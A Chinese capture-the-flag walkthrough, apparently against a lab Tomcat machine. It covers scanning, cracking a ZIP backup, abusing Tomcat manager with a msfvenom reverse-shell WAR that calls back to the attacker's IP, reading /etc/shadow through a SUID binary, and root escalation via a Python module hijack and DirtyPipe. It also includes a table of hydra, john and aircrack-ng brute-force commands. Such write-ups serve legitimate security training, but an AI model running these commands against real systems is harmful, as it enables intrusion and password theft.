0x01信息收集
1.1 nmap扫描端口
nmap -A -p- -v 192.168.222.134
- 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 6a:d8:44:60:80:39:7e:f0:2d:08:2f:e5:83:63:f0:70 (RSA)| 256 f2:a6:62:d7:e7:6a:94:be:7b:6b:a5:12:69:2e:fe:d7 (ECDSA)|_ 256 28:e1:0d:04:80:19:be:44:a6:48:73:aa:e8:6a:65:44 (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-title: Apache2 Ubuntu Default Page: It works|_http-server-header: Apache/2.4.41 (Ubuntu)| http-methods:|_ Supported Methods: POST OPTIONS HEAD GET8080/tcp open http Apache Tomcat 9.0.53|_http-favicon: Apache Tomcat|_http-title: Apache Tomcat/9.0.53| http-methods:|_ Supported Methods: GET HEAD POST OPTIONSDevice type: general purposeRunning: Linux 4.X|5.XOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5OS details: Linux 4.15 - 5.19Uptime guess: 26.829 days (since Fri Dec 12 14:17:12 2025)Network Distance: 2 hopsTCP Sequence Prediction: Difficulty=264 (Good luck!)IP ID Sequence Generation: All zeros
复制代码 开放端口:80、8080、22
主机操作系统及其服务:Ubuntu、Apache Tomcat、OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
1.2web及其目录扫描
开放了80、8080端口分别访问
80端口
网页没可用的,扫一下目录
dirsearch -u [http://192.168.222.134/](http://192.168.222.134/) -x 401,404,403
扫出来没有啥可用的信息
8080端口
tomcat主页版本为9.0.53;扫一下目录
dirsearch -u http://192.168.222.134:8080 -x 401,404,403或者ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u [http://192.168.1.9:8080/FUZZ](http://192.168.1.9:8080/FUZZ)
- [10:30:23] 200 - 33KB - /backup.zip[10:30:28] 302 - 0B - /docs -> /docs/[10:30:28] 200 - 15KB - /docs/[10:30:29] 302 - 0B - /examples -> /examples/[10:30:29] 200 - 1KB - /examples/[10:30:29] 200 - 1KB - /examples/websocket/index.xhtml[10:30:29] 200 - 14KB - /examples/jsp/index.html[10:30:29] 200 - 6KB - /examples/servlets/index.html[10:30:29] 200 - 1KB - /examples/servlets/servlet/RequestHeaderExample[10:30:29] 200 - 658B - /examples/servlets/servlet/CookieExample[10:30:29] 200 - 687B - /examples/jsp/snp/snoop.jsp[10:30:30] 200 - 21KB - /favicon.ico[10:30:35] 302 - 0B - /manager -> /manager/[10:30:35] 302 - 0B - /manager/ -> /manager/html[10:30:41] 200 - 153B - /readme.txt
复制代码 1.3账号尝试,目录详细信息收集
查看目录里面扫描出来的东西
backup.zip,需要密码解压
爆破:爆破工具可多选fcrackzip、john
john:. 基本功能
哈希爆破:破解存储为哈希值的密码(如 Linux shadow 文件、Windows NTLM 哈希、MySQL 密码哈希等)。
字典攻击:基于字典文件尝试密码组合。
暴力破解:生成所有可能的字符组合(如 a-z、0-9、特殊字符)进行尝试。
规则破解:通过自定义规则(如大写首字母、加数字后缀)扩展字典,提高破解效率。
支持的哈希类型
哈希类型 / 场景对应文件 / 格式示例John 识别方式Linux 系统密码/etc/shadow 文件(格式:**用户名:$id$salt$hash**)自动识别(**$1$**** 为 MD5,**$6$** 为 SHA-512)**Windows NTLM 哈希格式:**LM:NTLM**(示例:**aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99**)**指定 ****--format=nt**MySQL 密码哈希格式:***hash**(示例:***A4B6157319038724E3566C818872E067**)**指定 ****--format=mysql-sha1**ZIP 压缩包密码压缩包文件(需先用 **zip2john** 提取哈希)通过 **zip2john** 生成的哈希文件自动识别RAR 压缩包密码压缩包文件(需先用 **rar2john** 提取哈希)通过 **rar2john** 生成的哈希文件自动识别SSH 私钥密码id_rsa 等私钥文件(需先用 **ssh2john** 提取哈希)通过 **ssh2john** 生成的哈希文件自动识别补充说明与调整:
- Windows NTLM 哈希:实际常见的格式为 LM:NTLM,示例中已保留冒号分隔,John 需使用 --format=nt。
- MySQL 密码哈希:示例格式为 *hash,实际是 mysql_native_password 使用的 SHA1 双重哈希,John 中应使用 --format=mysql-sha1。
- ZIP/RAR 区分:zip2john 与 rar2john 为不同工具,建议分开列出。
- SSH 私钥:通常使用 ssh2john(属于 John the Ripper 工具集)提取哈希后再进行破解。
fcrackzip:**Fcrackzip**是一款专门破解**zip**类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于**linux、mac osx** 系统
安装:sudo apt-get install fcrackzip
安装字典:rockyou.txt;
在 Kali Linux 中,使用 rockyou.txt 破解加密代码或密码的步骤取决于加密方式(如 ZIP、RAR、HASH、SSH、FTP 等)
好的,这是一个以表格形式整理的,在 Kali Linux 中使用 **rockyou.txt** 破解不同类型加密/保护的通用步骤。表格清晰地展示了不同场景下的工具、命令和核心思路。
Kali Linux 中使用 rockyou.txt 进行密码破解
攻击目标 (加密/保护方式)核心工具关键准备步骤 (在运行攻击命令前)典型攻击命令示例核心思路与说明ZIP 压缩包fcrackzip确保目标 ZIP 文件在本机。rockyou.txt 默认路径:/usr/share/wordlists/rockyou.txtfcrackzip -v -D -p /usr/share/wordlists/rockyou.txt -u target.zip-D 指定字典模式,-p 指定字典路径,-u 验证密码。暴力破解耗时较长,字典攻击效率更高。RAR 压缩包rarcrack 或 john1. 使用 rarcrack: 安装 rarcrack (sudo apt install rarcrack)。 2. 使用 John: 需先用 rar2john 提取哈希。1. rarcrack: rarcrack --type rar target.rar 2. john: rar2john target.rar > rar_hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txtrarcrack 支持自动猜测类型(XML文件记录进度)。John 的方式更通用,先提取哈希,再对哈希进行破解。密码哈希 (如 /etc/shadow 中的 Hash)john 或 hashcat1. 获取哈希: 需要将 /etc/shadow 与 /etc/passwd 合并或直接获得哈希串。 2. 识别哈希类型: 使用 hashid 或 john --list=formats 识别。以 John 破解 MD5 为例: john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_file.txt 以 hashcat 破解 SHA256 为例: hashcat -m 1400 -a 0 hash_file.txt /usr/share/wordlists/rockyou.txt最常用场景。关键在于正确识别哈希类型(-m 或 --format)。hashcat 性能更强,支持 GPU。破解成功率高度依赖字典质量。SSH 服务登录hydra 或 medusa确认目标主机 SSH 服务(22端口)开放,且允许密码认证。hydra -l -P /usr/share/wordlists/rockyou.txt ssh 或指定用户列表: hydra -L user_list.txt -P /usr/share/wordlists/rockyou.txt ssh://网络协议爆破。-l 指定单个用户,-L 指定用户字典。注意:频繁尝试可能触发锁定或记录日志。FTP 服务登录hydra确认目标主机 FTP 服务(21端口)开放。hydra -l -P /usr/share/wordlists/rockyou.txt ftp:// 或匿名测试: hydra -l anonymous -P ‘’ ftp://思路同 SSH。通常先尝试 anonymous 匿名登录。HTTP 表单登录 (如 Web 后台)hydra1. 分析登录请求(用 Burp Suite 抓包)。 2. 确定登录 URL、用户名/密码参数名、失败响应特征。hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=登录失败"POST 数据包爆破。语法复杂但灵活。^USER^ 和 ^PASS^ 是占位符,F=... 指定失败字符串。成功率取决于请求构造的准确性。WordPress 后台wpscan确认目标为 WordPress 站点。wpscan --url http:// --passwords /usr/share/wordlists/rockyou.txt --usernames admin专门针对 WordPress 的工具,比通用 HTTP 爆破更智能,能枚举用户名并规避部分锁定机制。Wi-Fi WPA/WPA2 握手包aircrack-ng1. 已通过 airodump-ng 捕获到包含四步握手的 .cap 文件。 2. 确认握手包有效(aircrack-ng 能识别)。aircrack-ng -w /usr/share/wordlists/rockyou.txt capture_file.cap离线破解无线密码。核心是捕获到用户连接时的握手包。破解速度取决于密码在字典中的位置及硬件算力。加密的 PDF 文件john 或 pdfcrack使用 pdf2john 或 pdfcrack 提取或直接破解。使用 John: pdf2john target.pdf > pdf_hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash.txt 使用 pdfcrack: pdfcrack -f target.pdf -w /usr/share/wordlists/rockyou.txt思路与 RAR 类似,先提取密码哈希(如果支持),再用字典攻击。字典路径: rockyou.txt 默认位于 /usr/share/wordlists/。首次使用可能需要解压:- sudo gunzip /usr/share/wordlists/rockyou.txt.gz
复制代码 爆破:- ┌──(root㉿xiao)-[/opt]└─# fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zipPASSWORD FOUND!!!!: pw == @administrator_hi5
复制代码 得到密码:@administrator_hi5
解压查看解压出来的内容:
在tomcat-user.xml文件中发现两个账户和密码- [/code][b]账号1:manager melehifokivai[/b]
- [b]账号2:admin melehifokivai[/b]
- [b]账号登录[/b]
- 测试解压得到的账号密码
- admin和manager账户都能登录成功
- http://192.168.222.134:8080/manager/html
- [align=center][img]https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767840894776-7a0986dc-ade3-4785-8e77-a35781f0265f.png[/img][/align]
- 发现文件上传,可上传文件为WAR文件
- 访问http://192.168.222.134:8080/readme.txt
- [align=center][img]https://gitee.com/there-is-a-large-box/image/raw/master/issue/1767841873877-cea13c4e-60ed-4e79-8b33-c75c05dc2b80.png[/img][/align]
- 得到信息有一个加密文件猜测是backup.zip,猜测管理员为[b]randy,[/b]
- [size=6]0x02漏洞利用 [/size]
- [size=5]2.1toncat中war文件上传-shell[/size]
- msf生成JSP 反向 Shell 的 WAR 文件
- [code]sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST="192.168.222.137" LPORT=8888 -f war > shell.war
复制代码
上传
反弹shell
GetShell之后,通过一段python代码创建要给交互式终端。- python3 -c 'import pty; pty.spawn("/bin/bash")'
复制代码- # 查询具备suid标志的文件find / -perm -u=s -type f 2>>/dev/null# 查询当前用户是否有可利用sudo提权的命令sudo -l# 查看备份文件find / -name "*backup*" 2>>/dev/null
复制代码 查看home目录下面有两个用户:jaye randy
结合之前的账号密码来密码猜测:
得到:jaye melehifokivai
war文件上传:
WAR(Web Application Archive) 是 Java Web 应用程序的标准打包格式,专为部署到 Servlet 容器(如 Tomcat、Jetty)而设计。它本质上是一个压缩文件(扩展名为 .war),遵循特定的目录结构,包含 Web 应用的所有代码、资源及配置。
一般情况利用思路:
jsp马转换为war包上传
2.2 msf漏洞利用-shell
msf 有Tomcat 上传webshell的模块,有用户名和密码就可以使用:- search tomcat uploaduse 7show options
复制代码
查看需要设置的参数
查看user.txt得到第一个flag
home目录下有两个文件夹,加上之前readme.txt出来的猜测可能有两个用户,jaye和randy
之前扫描端口的时候发现22端口开放链接
利用之前压缩包文件中得到的密码ssh一下这两个账户,jaye登录成功
登录进来之后查找能利用的东西,先看看有些啥,,
找到一个可执行文件look,是系统的look
look可以越权访问,查看/etc/shadow
look越权命令使用方法:https://gtfobins.github.io/gtfobins/look/- LFILE=file_to_read./look '' "$LFILE"
复制代码
把 /etc/shadow 文件和passwd文件复制下来,,保存到本地。/etc/passwd 文件可以在msf控制台获取,也可以用上述方式获取,使用 unshadow 命令生成需要破解的密码,我们只用爆破root的和rand就行了:- unshadow passwd ushadow > pass.txt
复制代码 用john破解一下,:- john --wordlist=/usr/share/wordlists/rockyou.txt shadow
复制代码
爆破得到:randy:07051986randy
登录randy
在根目录下发现一个python可执行 脚本
2.3提权-文件
看一下权限,发现这个python文件不能修改
看看可以干一些什么
但是在代码中引入了一个base64模块
看看这个文件在python3.8目录下
查看一下权限
可以编辑,写入shell- import osos.system("/bin/bash")
复制代码
执行脚本
2.4提权-内核漏洞
可用操作系统版本内核漏洞提权
msf漏洞利用- search tomcat uploaduse 7options
复制代码
设置参数开始利用- msf exploit(multi/http/tomcat_mgr_upload) > set rhosts 192.168.222.135rhosts => 192.168.222.135msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080rport => 8080msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername adminHttpUsername => adminmsf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword melehifokivaiHttpPassword => melehifokivaimsf exploit(multi/http/tomcat_mgr_upload) > optionsmsf exploit(multi/http/tomcat_mgr_upload) > run
复制代码
后台运行 session
升级 Java Meterpreter → 原生 Linux Meterpreter把 session 1(Java Meterpreter)升级成真正的 Linux x86 Meterpreter(session 2)
查看
查看 DirtyPipe 提权模块 ,根据Linux 内核版本我们尝试利用的是cve-2022-0847- search cve-2022-0847use exploit/linux/local/cve_2022_0847_dirtypipe或者use 0
复制代码
设置参数- set session 2 #设置使用的会话set lhost 192.168.222.137 #设置接收的IPrun
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |